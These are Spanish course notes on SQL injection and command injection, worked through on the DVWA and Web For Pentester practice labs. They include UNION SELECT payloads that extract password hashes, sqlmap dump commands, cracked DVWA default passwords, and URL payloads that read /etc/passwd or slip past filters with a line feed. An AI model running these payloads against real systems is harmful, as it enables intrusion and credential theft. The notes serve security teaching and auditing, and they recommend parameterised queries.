

Input validation: SQL Injection

1. ¿Qué es la SQL Injection?

La **SQL Injection** (Inyección SQL) es una de las vulnerabilidades más críticas en las aplicaciones web. Se encuentra en el **OWASP Top 10** en la categoría de **inyección**.

Esta vulnerabilidad surge cuando una aplicación no valida correctamente las entradas de los usuarios, lo que permite a un atacante inyectar comandos maliciosos en una consulta SQL. La inyección se produce en el lado de la **aplicación web**, pero el ataque se ejecuta en la **base de datos**, comprometiendo la información que contiene.

Para explotarla, un auditor o atacante debe buscar funcionalidades que interactúen con la base de datos, como:

- Formularios de inicio de sesión (**login**)
- Buscadores o filtros
- Campos de entrada que consultan perfiles de usuario o productos

2. Ejemplo Teórico: El Bypass de Autenticación

Un ejemplo clásico de **SQL Injection** se da en un formulario de inicio de sesión. Imagina una aplicación que utiliza la siguiente consulta para verificar un usuario y su contraseña:

```
string query = "SELECT * FROM users WHERE user = '" + username  
+ "' AND password = '" + password + "'";
```

En esta consulta, el valor de **username** y **password** es directamente concatenado a la cadena SQL sin ninguna validación.

El ataque: Un atacante podría ingresar los siguientes valores en el formulario:

- **Usuario:** `admin`
- **Contraseña:** `Test' OR '1'='1`

Al procesar esta entrada, la consulta SQL que se envía a la base de datos se transforma en:

```
SELECT * FROM users WHERE user = 'admin' AND password = 'Test'  
OR '1'='1';
```

Análisis de la inyección:

1. La comilla simple (') que el atacante introduce en el campo de la contraseña cierra la primera comilla de la consulta.
2. A continuación, el atacante añade el comando `OR '1'='1'`.
3. La expresión `'1'='1'` es siempre verdadera. Como se usa el operador lógico `OR`, la condición completa (`password = 'Test' OR '1'='1'`) se evalúa como **verdadera**.
4. La última comilla de la inyección es manejada por el propio código de la aplicación, cerrando la sentencia de manera inesperada pero funcional.

Resultado del ataque: La base de datos ejecuta una consulta que siempre devolverá un resultado válido para el usuario `admin`, sin importar si la contraseña es correcta o no. Esto permite al atacante **saltarse la autenticación** y acceder al sistema con los privilegios del usuario `admin`, un tipo de ataque conocido como **Authentication Bypass**.

3. Riesgos de una vulnerabilidad de SQL Injection

Las consecuencias de una **SQL Injection** son graves y pueden comprometer toda la seguridad de la aplicación:

- **Bypass de Autenticación:** Como vimos, el atacante puede acceder a cuentas sin saber la contraseña.
 - **Divulgación de Información (Information Disclosure):** Un atacante puede robar datos sensibles de la base de datos, como credenciales de otros usuarios, información personal, o datos financieros. Por esta razón, la información sensible siempre debe estar **cifrada**.
 - **Compromiso de la Integridad:** El atacante puede modificar, insertar o eliminar datos en la base de datos, alterando la funcionalidad de la aplicación o corrompiendo la información.
 - **Pérdida de Disponibilidad:** Un atacante podría borrar toda la base de datos (**DROP DATABASE**), causando una denegación de servicio permanente.
 - **Ejecución de Código Remoto:** En sistemas más vulnerables, el atacante podría ejecutar comandos del sistema operativo en el servidor, lo que le permitiría tomar el control completo del servidor **host**.
-

4. Ejemplo práctico: Explotación con un **Payload** Básico

Vamos a usar el laboratorio de **Web For Pentester** para ver cómo funciona una **SQL Injection** en la práctica.

El escenario: El laboratorio tiene una página que muestra la información de un usuario al ingresar su nombre en la URL.

- URL: **http://192.168.111.143/sql/example1.php?name=root**
- Cuando se accede, la página muestra la información del usuario "root". **El ataque:**
 1. Observamos que la URL usa un parámetro **name** para consultar la base de datos.
 2. Probamos a ingresar un nombre que no existe, como **marta**. La página no devuelve resultados.
 3. Ahora, vamos a inyectar el **payload** básico **' OR '1'='1'**. Lo añadimos al final del parámetro **name** en la URL.

- **Payload inyectado:**

`http://192.168.111.143/sql/example1.php?name=admin%27%20OR%20%271%27%3D%271`

- **Análisis del payload en la URL:** El **payload** que inyectamos es ' `OR '1'='1`'. En la URL, los caracteres especiales están codificados para ser enviados correctamente (' es `%27`, el espacio es `%20`).

- **URL Completa:**

`http://192.168.111.143/sql/example1.php?name=admin'
OR '1'='1`

Resultado: Al ejecutar la URL con el **payload**, la página **devuelve la información de todos los usuarios** en la base de datos (admin, root, user1, user2), lo cual no es el comportamiento esperado de la aplicación. Esto confirma la vulnerabilidad. El **payload** `OR '1'='1` ha alterado la lógica de la consulta, haciendo que la base de datos devuelva todos los registros que cumplen con la condición siempre verdadera, en lugar de un único usuario.

5. Conclusiones

- La **SQL Injection** es una vulnerabilidad crítica que se origina en la **falta de validación de entradas**.
- Aunque el ataque afecta a la base de datos, la vulnerabilidad se encuentra en la **aplicación web**.
- El **payload** `'OR '1'='1` es un ejemplo simple que demuestra cómo una mala gestión de la entrada de datos puede llevar a un **bypass** de seguridad.
- La prevención más efectiva es la **validación estricta (whitelisting)** de las entradas de usuario y el uso de **consultas parametrizadas**, que evitan que el código y los datos se mezclen.

Tipos de SQLI

1. Tipos de SQL Injection

Aunque la SQL Injection se manifiesta de diferentes maneras, se clasifica en tres tipos principales, según cómo el atacante recibe la respuesta del servidor.

a) Inyección SQL "en banda" (In-Band SQLi)

Este es el tipo de SQL Injection más común y fácil de detectar. El atacante utiliza el mismo canal de comunicación para lanzar el ataque y para recibir la respuesta de la base de datos. La información extraída se muestra directamente en la propia aplicación web.

- **Ventaja para el atacante:** La simplicidad. Los resultados de la consulta, como datos de usuarios o tablas, se muestran de forma visual, lo que acelera el proceso de explotación.

b) Inyección SQL basada en errores (Error-Based SQLi)

Este tipo de ataque fuerza a la base de datos a generar un mensaje de error que revele información sobre su estructura. La información interna de la base de datos (como el tipo de base de datos, la versión, o detalles sobre la sintaxis) se "filtra" a través de estos errores no gestionados.

- **Identificación:** Si al inyectar un carácter inesperado, como una comilla simple ('), la aplicación muestra un error de base de datos, es una clara señal de vulnerabilidad.
- **Ejemplo:** En la imagen adjunta, al inyectar una comilla simple en un campo, la aplicación web muestra el siguiente error: `You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '''''' at line 1`. Este error no solo confirma la vulnerabilidad,

sino que también revela información valiosa, como el motor de base de datos (MariaDB).

2. Inyección SQL a Ciegas (Blind SQLi)

La inyección SQL a ciegas es la más difícil de explotar porque la base de datos no devuelve los resultados directamente en la página web. El atacante no puede ver los datos extraídos, por lo que debe deducir la información haciendo preguntas de "sí o no" a la base de datos. Esto se logra observando cambios en el comportamiento de la aplicación, como:

- **Respuesta booleana (Boolean-Based):** La página cambia de aspecto o contenido si la condición inyectada es VERDADERA o FALSA.
- **Respuesta basada en tiempo (Time-Based):** Se usa una función que retrasa la respuesta de la base de datos (SLEEP, WAITFOR DELAY). Si la página tarda más tiempo en cargarse, significa que la consulta se ha ejecutado.

Para la explotación manual, este proceso es extremadamente lento, ya que se deben enviar miles de peticiones para descifrar carácter por carácter la información. Por ejemplo, para averiguar la primera letra del nombre de un usuario (admin), se haría una serie de consultas como las siguientes, hasta encontrar el valor correcto:

```
id=1 and 97=ASCII(substring(user(),1,1))
```

- **substring(user(),1,1):** Extrae el primer carácter del nombre de usuario.
- **ASCII(...):** Convierte ese carácter a su valor ASCII.
- **97:** Es el valor ASCII de la letra 'a'.
- **Lógica de adivinanza:** El atacante formula consultas de comparación, por ejemplo, preguntando si el valor ASCII es mayor o menor a un número, para ir acotando el resultado.

Este proceso se repite para cada carácter del nombre de usuario, lo que demuestra la complejidad de este tipo de ataque sin herramientas de automatización.

3. Demostración práctica en DVWA

Vamos a usar **DVWA** para ver ejemplos de **SQL Injection** en la práctica.

a) Detección de **SQL Injection** (In-Band y Error-Based)

1. Abre la página de **SQL Injection** en DVWA y asegúrate de que el nivel de seguridad esté en **low**. 2. Ingresa una comilla simple (') en el campo "User ID" y haz clic en "Submit".
2. La aplicación mostrará un error de sintaxis de la base de datos, como se ve en la imagen: **You have an error in your SQL syntax....** Esto confirma una vulnerabilidad de tipo **Error-Based**.
3. Ahora, para confirmar que es también de tipo **In-Band**, ingresa el **payload** **1' or '1'='1** y haz clic en "Submit". La aplicación te mostrará todos los usuarios de la base de datos.

b) Detección de **Blind SQLi**

1. Cambia a la sección **SQL Injection (Blind)** en DVWA.
2. Ingresa el ID de un usuario que sabes que existe (por ejemplo, **1**) y verás el mensaje "User ID exists in the database".
3. Ingresa un ID que no existe (por ejemplo, **6**) y el mensaje cambia a "User ID is Missing from the database". Esto confirma que la página responde de manera booleana.
4. Ahora, inyecta el **payload** **6' or '1'='1** y haz clic en "Submit".
5. Aunque el ID **6** no existe, la página ahora muestra el mensaje "User ID exists in the database". La condición **'1'='1'** es **VERDADERA**, por lo que la base de datos devuelve un resultado afirmativo. Esto demuestra la existencia de una vulnerabilidad de tipo **Blind SQLi**.

Cómo detectar vulnerabilidades de SQL Injection

La detección de vulnerabilidades de SQL Injection es un paso crucial en cualquier auditoría de seguridad. Aunque existen herramientas automáticas, es fundamental entender los métodos manuales, ya que te permiten comprender la lógica detrás del ataque.

1. Utilizando Payloads básicos

El primer paso es identificar los puntos de entrada que interactúan con la base de datos (formularios de login, campos de búsqueda, parámetros en la URL, etc.). Una vez identificados, puedes probar los siguientes payloads para observar el comportamiento de la aplicación:

- **La comilla simple ('):** Este es el payload más fundamental. Al inyectar una comilla simple en un campo de entrada, intentas romper la sintaxis de la consulta SQL.
 - **Propósito:** Si la aplicación es vulnerable, la comilla no se escapará correctamente y causará un error de sintaxis en la base de datos. Esto te permitirá detectar una vulnerabilidad de tipo **Error-Based** (basada en errores).
- **El payload de bypass de autenticación: 1' or '1'='1**
 - **Propósito:** Este payload se usa para ver si la aplicación puede ser engañada para que devuelva un resultado verdadero. Si la página cambia su comportamiento (por ejemplo, te da acceso a una cuenta de usuario sin credenciales válidas), es una señal clara de que existe una vulnerabilidad de tipo **In-Band** (en banda).
- **El payload de condición falsa: 1' and '1'='0**
 - **Propósito:** Este payload se utiliza para confirmar la vulnerabilidad en los ataques de tipo **Blind SQLi** (a ciegas). Si la página muestra un error o un comportamiento diferente al que mostraba con el payload

`1' or '1'='1`, significa que la base de datos está procesando las condiciones lógicas que le envías, confirmando la vulnerabilidad.

2. Adaptar el **Payload** al tipo de base de datos

El lenguaje y la sintaxis de los comandos SQL varían ligeramente entre los diferentes motores de bases de datos (MySQL, MariaDB, Oracle, PostgreSQL, SQL Server, etc.). Por lo tanto, si un **payload** no funciona, no significa que la aplicación no sea vulnerable; es posible que necesites adaptarlo al tipo de base de datos que está usando la aplicación.

- **Ejemplo:**

- **SQL Server:** `1' OR 1=1--`
- **Oracle:** `1' OR '1'='1`

Con la práctica, te familiarizarás con las sintaxis específicas de cada motor de base de datos.

4. Conclusiones y cómo prevenir

La **SQL Injection** sigue siendo una amenaza grave debido a una práctica de desarrollo deficiente. Las principales conclusiones son:

- Existen diferentes tipos de inyección, y no todas son visibles directamente en la aplicación.
- La detección manual es posible, especialmente para los tipos **In-Band** y **Error-Based**, usando **payloads** básicos como la comilla simple (') o `' or '1'='1`.
- La prevención es sencilla y fundamental. Se debe usar una validación de entrada estricta (**whitelisting**) y, sobre todo, **consultas preparadas o parametrizadas**, que evitan que el código y los datos de entrada se mezclen.

Herramientas SQLi: sqlmap y demostración práctica

1. Introducción a la automatización con sqlmap

sqlmap es una herramienta de código abierto, instalada por defecto en distribuciones como Kali Linux, que automatiza la detección y explotación de vulnerabilidades de **SQL Injection**. Su principal ventaja es que ahorra una enorme cantidad de tiempo y esfuerzo al realizar todas las pruebas de inyección de forma automática, sin la necesidad de que el auditor las realice manualmente.

Aunque sqlmap es muy potente, es fundamental entender los principios básicos de la inyección manual. Saber cómo y por qué funciona un **payload** te permitirá interpretar mejor los resultados de la herramienta y resolver problemas si los ataques automatizados fallan.

El método más sencillo de ejecución

La forma más eficiente de usar sqlmap es a través del comando **sqlmap -r request.txt**.

- **sqlmap**: Llama a la herramienta.
- **-r request.txt**: Este parámetro le indica a sqlmap que lea todos los detalles de la petición HTTP (URL, encabezados, **cookies**, datos del formulario) desde un archivo de texto plano llamado **request.txt**.

Este método es superior a ingresar todos los parámetros manualmente en la terminal, ya que simplifica el proceso y evita errores al copiar y pegar.

2. Procedimiento práctico: De la explotación manual a la automática

Vamos a comparar la explotación manual de un **SQL Injection In-Band** en DVWA con el uso de sqlmap.

Explotación manual (Nivel bajo)

1. **Objetivo inicial:** El objetivo es extraer información de la base de datos sin tener que adivinar los nombres de las tablas y las columnas.
2. **Payload inicial:** Como ya sabemos que la aplicación es vulnerable, usamos el `payload ' or 1=1 union select null,database()#`.
 - `' or 1=1`: Cierra la consulta original y añade una condición siempre verdadera para obtener todos los resultados.
 - `union select null,database()#`: **UNION** combina la consulta original con una nueva. `select null,database()` selecciona un valor nulo (para que coincida con la estructura de columnas de la consulta original) y el nombre de la base de datos actual (`database()`). El símbolo `#` comenta el resto de la consulta original.
3. **Resultado:** Al introducir este `payload` en el campo "User ID", la aplicación muestra todos los usuarios y, al final, el nombre de la base de datos, que es `dvwa`.
4. **Extrayendo más información:** Ahora que conocemos el nombre de la base de datos (`dvwa`), podemos seguir `union select` para obtener más información.
 - **Obtener el usuario y la versión:** `'or 1=0 union select user(),version()#`
 - `1=0`: Se usa una condición falsa para que la consulta original no devuelva resultados y solo muestre los de nuestra inyección.
 - `user()` y `version()`: Funciones de MySQL para obtener el usuario actual de la base de datos y la versión.
 - **Resultado:** La aplicación revela que el usuario es `app@localhost` y la versión de la base de datos es **MariaDB 10.1.26**.

5. **Enumerando tablas y columnas:** A mano, esto requiere **payloads** más complejos, consultando la base de datos **information_schema** que contiene metadatos sobre la estructura del **DBMS**.
- **Obtener nombres de tablas:** `'or 1=0 union select null,table_name from information_schema.tables#`
 - **Resultado:** La aplicación lista todas las tablas, incluyendo una llamada **Users**, que parece contener información sensible. * **Obtener nombres de columnas:** `'or 1=0 union select null,column_name from information_schema.columns where table_name='users'#`
 - **Resultado:** La aplicación revela las columnas **user_id**, **first_name**, **last_name**, **user** y **password**, confirmando la posibilidad de extraer datos de usuarios. Este proceso manual, aunque es muy didáctico, es lento y tedioso.

Explotación automatizada con sqlmap

1. **Capturar la petición:** Usamos una herramienta de interceptación como **Burp Suite**. En el navegador, hacemos una petición normal a la página vulnerable (por ejemplo, con **User ID = 1**) mientras Burp está interceptando. 2. **Guardar la petición:** Copiamos la petición HTTP completa desde Burp y la guardamos en un archivo de texto plano, por ejemplo, **request.txt**.
2. **Ejecutar sqlmap:** En la terminal, ejecutamos el siguiente comando: **sqlmap -r request.txt --dbs**
 - **--dbs:** Este parámetro le dice a sqlmap que enumere las bases de datos.
3. **sqlmap en acción:** sqlmap analizará la petición, detectará la vulnerabilidad y la explotará automáticamente. En su salida, nos mostrará los tipos de inyección que encontró y la información del sistema.

sqlmap nos dice que el parámetro **id** es vulnerable a:

- **boolean-based blind**: Inyección ciega basada en respuestas de "verdadero/falso".
 - **error-based**: Inyección basada en errores.
 - **time-based blind**: Inyección ciega basada en el tiempo.
 - **UNION query**: Inyección de tipo **In-Band**. Además, sqlmap nos revela de inmediato el sistema operativo (**Linux Debian 9**), el servidor web (**Apache**) y las bases de datos (**dvwa** e **information_schema**) que encontró.
-

3. Opciones de sqlmap para la detección y enumeración

La verdadera potencia de sqlmap radica en sus comandos de automatización para la enumeración de información.

- **--dbs**: Enumera las bases de datos.
- **--tables**: Enumera las tablas en una base de datos específica.
- **--columns**: Enumera las columnas en una tabla específica.
- **--dump**: Extrae todas las entradas (los datos) de las tablas.
- **-D**: Especifica la base de datos.
- **-T**: Especifica la tabla.
- **-C**: Especifica la columna.

Para una ejecución más agresiva, puedes modificar los niveles de riesgo y de pruebas:

- **--level=LEVEL**: Define el nivel de pruebas a realizar (del 1 al 5). Un nivel más alto implica más **payloads** y pruebas.
- **--risk=RISK**: Define el riesgo de las pruebas (del 1 al 3). Un riesgo más alto puede incluir **payloads** más destructivos.

4. Conclusiones finales

- **sqlmap** es una herramienta esencial para automatizar la detección y explotación de **SQL Injection**, lo que reduce drásticamente el tiempo de una auditoría.
- La forma más rápida de usarla es pasándole un archivo con la petición HTTP completa (**-r request.txt**).
- Es crucial entender los principios manuales de la inyección para interpretar correctamente los resultados y saber qué información se está extrayendo con cada comando.
- Las vulnerabilidades de **SQL Injection** persisten debido a una mala **validación de entrada**. La única solución real es utilizar **consultas parametrizadas** en el código de la aplicación.

Ejercicio SQLi

Ejercicio: Explotación de **SQL Injection** en DVWA

Este ejercicio está diseñado para que apliques de manera práctica los conocimientos adquiridos sobre **SQL Injection**, cubriendo tanto la explotación manual como la automatizada con **sqlmap**.

Objetivos del ejercicio:

1. **Explotación manual de **SQL Injection** (Niveles Medio y Alto):**
 - Inyecta código SQL de forma manual en los niveles medio y alto de DVWA.
 - Tu objetivo es extraer los **hashes de las contraseñas** de los usuarios.
 2. **Detección con sqlmap de **Blind SQL Injection**:**
 - Utiliza la herramienta sqlmap en el nivel medio de **Blind SQLi** para demostrar la existencia de la vulnerabilidad y enumerar información.
 3. **Descifrado de contraseñas:**
 - Una vez que hayas extraído los hashes, tu tarea final será averiguar a qué contraseñas de texto plano corresponden.
-

Parte 1: Explotación Manual de SQL Injection (Niveles Medio y Alto)

Nivel Medio

1. **Preparación:** Configura la seguridad de DVWA en el nivel "medium" y navega a la sección **SQL Injection**.
2. **Análisis:** Recuerda que en el nivel bajo, el **payload ' or '1'='1** funcionaba para listar todos los usuarios. En este nivel, es probable que haya filtros. Empieza probando el **payload** del nivel bajo para ver cómo reacciona la aplicación. Si el **payload** no funciona, revisa el código fuente de DVWA para entender qué filtros se están aplicando.

3. **Enumeración de la base de datos:** Para extraer los hashes, primero necesitas identificar las tablas y columnas que los contienen. Usa la técnica de **UNION SELECT** que aprendiste, adaptando el **payload** para que eluda los filtros del nivel medio. La inyección te permitirá preguntar a la base de datos por los nombres de las tablas y las columnas.
4. **Extracción de hashes:** Una vez que identifiques la tabla **users** y las columnas **user** y **password**, construye el **payload** final para extraer los datos.

Nivel Alto

1. **Preparación:** Configura la seguridad en el nivel "high" y vuelve a la sección de **SQL Injection**.
 2. **Análisis:** Los filtros en este nivel son mucho más sofisticados y probablemente bloquean la mayoría de los **payloads** comunes. Tu tarea es encontrar un **payload** que funcione. No te limites a las comillas, sino que explora alternativas, como **payloads** sin comillas o con diferentes tipos de codificación.
 3. **Enumeración y extracción:** Repite los pasos del nivel medio, pero esta vez con tu nuevo **payload** adaptado. Enumera las bases de datos, las tablas y las columnas para llegar a la información de las contraseñas de los usuarios.
-

Parte 2: Detección de Blind SQL Injection (Nivel Medio)

1. **Preparación:** Configura la seguridad en el nivel "medium" y ve a la sección **SQL Injection (Blind)**.
2. **Análisis manual:** A diferencia de la inyección **In-Band**, aquí no verás los resultados en la pantalla. Primero, verifica la vulnerabilidad manualmente con el **payload** `' or '1'='1`. Si la página te dice que el usuario existe, es un indicador de que el ataque funcionó.
3. **Preparación para sqlmap:** Ya que la explotación manual de **Blind SQLi** es muy lenta, utilizaremos **sqlmap** para automatizar el proceso.

4. **Captura de la petición:** Usa Burp Suite para capturar una petición HTTP normal de la página. Por ejemplo, al ingresar el ID 1 y hacer clic en "Submit", intercepta la petición y guárdala en un archivo de texto plano (`request.txt`).
 5. **Ejecución de sqlmap:** En la terminal, ejecuta el comando para que sqlmap detecte la vulnerabilidad: `sqlmap -r request.txt`
 6. **Análisis de la salida:** sqlmap te dirá si el parámetro es vulnerable, a qué tipos de inyección (por ejemplo, `Boolean-based blind`, `Time-based blind`) y te dará información sobre el sistema operativo y la base de datos. Esto demuestra la existencia de la vulnerabilidad de manera automática y eficiente.
-

Parte 3: Descifrado de contraseñas

1. **Ubicación de los hashes:** El objetivo principal de la parte 1 era obtener los hashes de las contraseñas. Estos hashes son cadenas de caracteres que, a diferencia de las contraseñas en texto plano, son ilegibles para los humanos.
2. **Uso de herramientas de descifrado:** Para averiguar las contraseñas originales, necesitarás usar herramientas o bases de datos de descifrado de hashes. Existen sitios web o programas que pueden intentar descifrar los hashes comparándolos con bases de datos de contraseñas conocidas.
3. **Verificación:** Una vez que obtengas las posibles contraseñas en texto plano, puedes verificar si son correctas intentando iniciar sesión con el usuario y la contraseña que has descifrado.

Resolución del ejercicio de SQLi:

Resolución del Ejercicio de SQL Injection

Este ejercicio demuestra la explotación de vulnerabilidades en diferentes niveles de seguridad de DVWA, culminando con la extracción y el descifrado de los hashes de las contraseñas.

Parte 1: Explotación Manual de SQL Injection (Niveles Medio y Alto)

El objetivo es utilizar la técnica de UNION SELECT para inyectar una consulta que extraiga los nombres de usuario (user) y los hashes de las contraseñas (password) de la tabla users.

Nivel Medio (Medium Level)

1. **Análisis:** En el nivel medio, la entrada del usuario se realiza a través de un menú desplegable (select). Esto significa que no podemos escribir directamente el payload.
2. **Preparación:** Utilizamos una herramienta de intercepción (como Burp Suite) y enviamos una petición normal (ej. User ID = 1) al Repeater.
3. **Inyección y Bypass:**
 - El payload inicial que funciona en este nivel (donde se asume que se necesitan cero coincidencias de la consulta original) es: `id=1 or 1=0 union select user,password from users#&Submit=Submit`
 - `id=1 or 1=0`: Esta condición asegura que la consulta original no devuelva resultados (ya que `1=0` es falso), permitiendo que la consulta UNION sea la que se muestre en la página.
 - `union select user,password from users`: Esta parte del payload instruye a la base de datos a añadir dos columnas (usuario y contraseña) a la consulta, extrayéndolas directamente de la tabla users.

- #: Comenta el resto de la consulta SQL original.
- 4. **Resultado:** Al inyectar el **payload** a través del **Interceptor** o el **Repeater** de Burp, la página muestra una lista de todos los usuarios y sus **hashes**.

Nivel Alto (**High Level**)

1. **Análisis del Bypass:** En este nivel, la página no usa un menú desplegable, sino que nos sale "**Click here to change your ID**" y al hacer click nos sale un campo de texto en el que podemos escribir. Al ingresar **1' or 1=1#** en el campo, la aplicación ya muestra todos los usuarios, demostrando que este **payload** es suficiente para evadir el filtro.
 2. **Extracción de Hashes:** Utilizamos una variación del **payload** del nivel medio:
 - **Payload de extracción:** **1' or 1=1 union select user,password from users#**
 3. **Resultado:** La página de DVWA muestra exitosamente todos los **hashes** de los usuarios, confirmando que la explotación manual fue exitosa en ambos niveles.
-

Parte 2: Detección de **Blind SQL Injection** con SQLMAP

El objetivo es utilizar **sqlmap** para automatizar la detección de la vulnerabilidad en el nivel medio de **Blind SQLi**.

1. **Preparación:** Configura DVWA en el nivel "medium" y navega a **SQL Injection (Blind)**.
2. **Captura de la Petición:** Utiliza **Burp Suite** para interceptar una petición HTTP normal. Guardamos la petición completa en un archivo de texto, por ejemplo, **blind.txt**.
3. **Comando de Detección (--dbs):** Ejecutamos **sqlmap** pasándole el archivo capturado y el parámetro **--dbs** para enumerar

las bases de datos.

```
sqlmap -r blind.txt --dbs
```

3. **Análisis del Output:** La herramienta comienza a realizar pruebas de forma iterativa y nos confirma la existencia de diferentes tipos de inyección, incluidos los de tipo **blind**:

- **boolean-based blind**
- **time-based blind**
- **error-based**
- **UNION query**
- sqlmap confirma que la base de datos es **MariaDB** y encuentra las bases de datos **dvwa** e **information_schema**.

4. **Comando de Extracción (--dump):** Para extraer toda la información sensible (incluidos los hashes) de la base de datos de DVWA, usamos el parámetro **--dump** y especificamos la base de datos con **-D dvwa**.

```
sqlmap -r blind.txt -D dvwa --dump
```

- **Proceso:** sqlmap comienza a extraer los datos **carácter por carácter** (típico del **Blind SQLi**).
- **Hashes detectados:** sqlmap identifica que el contenido de la columna **password** son **hashes** y pregunta si queremos almacenarlos temporalmente para procesarlos con otra herramienta (ataque de diccionario).

Parte 3: Descifrado de Contraseñas

Una vez que sqlmap ha extraído los **hashes**, el objetivo final es descifrarlos para obtener las contraseñas en texto plano.

1. **Ataque de Diccionario (Automático):** Dado que sqlmap reconoció los **hashes** como **MD5**, preguntó si podía iniciar un ataque de diccionario. Al aceptar, sqlmap compara los **hashes** con una lista de contraseñas comunes.

- **Resultado:** sqlmap logra descifrar los cinco **hashes** de la tabla **users**.

Usuario | Hash Extraído (MD5) | Contraseña Descifrada

admin | 5f4dcc3b5aa765d61d8327deb882cf99 | **password**

gordonb | e99a18c428cb38d5f260853678922e03 | **abc123** |

Me | 8d3533d75ae2c3966d7e0d4fcc69216b | **charley** |

pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | **letmein** |

smithy | 5f4dcc3b5aa765d61d8327deb882cf99 | **password** |

2. **Confirmación:** Los resultados confirman que las contraseñas almacenadas son débiles y fueron expuestas debido a la vulnerabilidad de **SQL**

Injection. El uso de **MD5** (un algoritmo de hashing obsoleto y vulnerable a la fuerza bruta y a tablas *rainbow*) permitió el descifrado rápido.

Conclusión del Ejercicio

Este ejercicio ha demostrado:

- La **explotación manual** de inyecciones de tipo **UNION SELECT** en diferentes niveles de seguridad.
- La **eficiencia de sqlmap** para la detección y explotación de **Blind SQLi** y la enumeración de información.
- La gravedad de almacenar contraseñas utilizando algoritmos de **hashing inseguros**, lo que convierte el **Information Disclosure** en un **compromiso total de cuentas**.

Command Injection

La **Command Injection** es una vulnerabilidad crítica que se clasifica en la **posición número 3 del OWASP Top 10**, dentro de la categoría de **inyección**. Ocurre cuando una aplicación web toma datos no validados de un usuario y los pasa directamente al **sistema operativo (SO)** del servidor para su ejecución.

Fundamentos de la Vulnerabilidad

Concepto	Explicación
Naturaleza del Ataque	La inyección de comandos permite ejecutar comandos arbitrarios directamente en el servidor web anfitrión.
Mecanismo	Los campos de entrada no validados son interpretados por el SO como parte de un comando del shell (consola de comandos).
Privilegios	El nivel de acceso y los comandos que se pueden ejecutar dependen de los permisos asociados al usuario con el que se ejecuta la aplicación web (ej. www-data en Linux o un usuario de servicio). Si el servidor está mal configurado, el atacante podría obtener privilegios de administrador (root).
Consecuencia	El atacante obtiene una ejecución de shell en el servidor, permitiendo una interacción directa con el sistema operativo.

Riesgos de la Command Injection

Esta vulnerabilidad está categorizada como **crítica** debido a su alto impacto, que afecta a la **confidencialidad, integridad y disponibilidad** de los sistemas:

- **Ejecución de Código Remoto (RCE):** El atacante puede ejecutar cualquier comando del SO para comprometer el servidor.
 - **Elevación de Privilegios:** Aunque el usuario inicial sea restringido (www-data), el atacante puede usar el acceso para buscar vulnerabilidades locales y escalar a permisos de root.
 - **Exposición de Información Confidencial:** El atacante puede leer archivos sensibles del servidor, como:
 - Archivos de configuración de la aplicación y de otras aplicaciones alojadas.
 - Código fuente interno.
 - Información de usuarios del sistema (/etc/passwd).
 - **Pivoting:** Si el servidor comprometido forma parte de la red interna de la organización, el atacante puede usarlo como un punto de apoyo (pivote) para lanzar ataques contra otras máquinas y segmentos de red.
 - **Compromiso de Integridad y Disponibilidad:** El atacante puede subir archivos maliciosos, modificar el código fuente de la aplicación o, en el peor de los casos, eliminar archivos, causando una denegación de servicio.
-

Métodos de Detección y Explotación

Para detectar y explotar esta vulnerabilidad, es necesario un proceso de reconocimiento y el uso de técnicas de **concatenación de comandos**.

Pasos para la Detección

1. **Entender la funcionalidad de la aplicación:** Hay que identificar cualquier funcionalidad que pueda estar ejecutando comandos del SO. Los ejemplos más comunes son los campos que implementan herramientas de red como **ping**, **traceroute** o cualquier función de diagnóstico del sistema.
2. **Identificar el Sistema Operativo (SO):** Los comandos deben adaptarse al SO del servidor (ls o cat para Linux/Unix; dir o type para Windows).
3. **Probar Inyecciones Sencillas:** Comenzar con comandos básicos y seguros (ls, pwd, whoami) para confirmar la ejecución.

Técnicas de Concatenación de Comandos

Para ejecutar un comando inyectado después del comando legítimo de la aplicación, utilizamos caracteres separadores del shell:

Carácter/Símbolo	Propósito	URL-Encoding
; (Punto y Coma)	Ejecuta el segundo comando <i>después</i> de que termine el primero. (El más común).	%3B
 (Pipe)	Envía la salida del primer comando como entrada del segundo. (A veces funciona como simple separador).	%7C
& (Ampersand)	Ejecuta el segundo comando en segundo plano o de forma secuencial.	%26
%0A	Salto de Línea (Line Feed). Engaña al shell para que ejecute la inyección en una nueva línea de comandos.	%0A
&&	AND Lógico. El segundo comando solo se ejecuta si el primer comando tiene éxito (sale con código de retorno 0).	%26%26

Ejemplos Prácticos de Explotación (Web for Pentester)

Usaremos el laboratorio de **Web For Pentester** para demostrar cómo evadir diferentes niveles de validación en la inyección de comandos.

Ejemplo 1: Uso de Caracteres Clásicos (;)

El escenario es una herramienta de **ping** donde se inyecta la IP en la URL.

- **URL Inicial:** `http://192.168.111.143/commandexec/example1.php?ip=127.0.0.1`
- **Funcionalidad:** Muestra el resultado de ping 127.0.0.1.

Paso 1: Confirmación de Command Injection (Uso de pwd)

- **Comando inyectado:** `pwd` (Print Working Directory)
- **Payload de la URL:**
`http://192.168.111.143/commandexec/example1.php?ip=127.0.0.1;pwd`
- **Análisis:** El carácter **punto y coma (;)** funciona como separador. La aplicación ejecuta el ping y luego el `pwd`.
- **Resultado:** La página muestra la salida del ping seguida de la ruta del directorio de trabajo: `/var/www/commandexec`. Esto confirma la vulnerabilidad.

Paso 2: Escalada del ataque (Robo de Información con cat)

- **Comando inyectado:** `cat /etc/passwd` (muestra el archivo de usuarios del sistema Linux)
- **Payload de la URL:**
`http://192.168.111.143/commandexec/example1.php?ip=127.0.0.1;cat /etc/passwd`
- **Resultado:** La página muestra el contenido del archivo `/etc/passwd`.
- **Impacto:** Se expone la lista de usuarios del sistema y sus shells de acceso, un paso crítico para el reconocimiento.

Ejemplo 2: Evasión de Filtros de Caracteres (%0A)

En este ejemplo, la aplicación tiene una validación más estricta que bloquea o ignora los caracteres clásicos (`;`, `|`, `&`).

Paso 1: Intentos Fallidos

- `127.0.0.1;pwd` -> Fallo o "invalid ip address".

- 127.0.0.1&pwd -> Fallo o "invalid ip address".
- 127.0.0.1|pwd -> Fallo o "invalid ip address".

Paso 2: Solución con Salto de Línea

- **Payload de la URL:**
http://192.168.111.143/commandexec/example2.php?ip=127.0.0.1%0Apwd
- **Análisis:** El carácter **%0A** (salto de línea) engaña al shell para que interprete la inyección como un nuevo comando en una nueva línea, evadiendo el filtro de caracteres.
- **Resultado:** La aplicación ejecuta el ping y luego el pwd, mostrando /var/www/commandexec.

Ejemplo 3: Inyección con Salida Oculta (Uso de Burp Repeater)

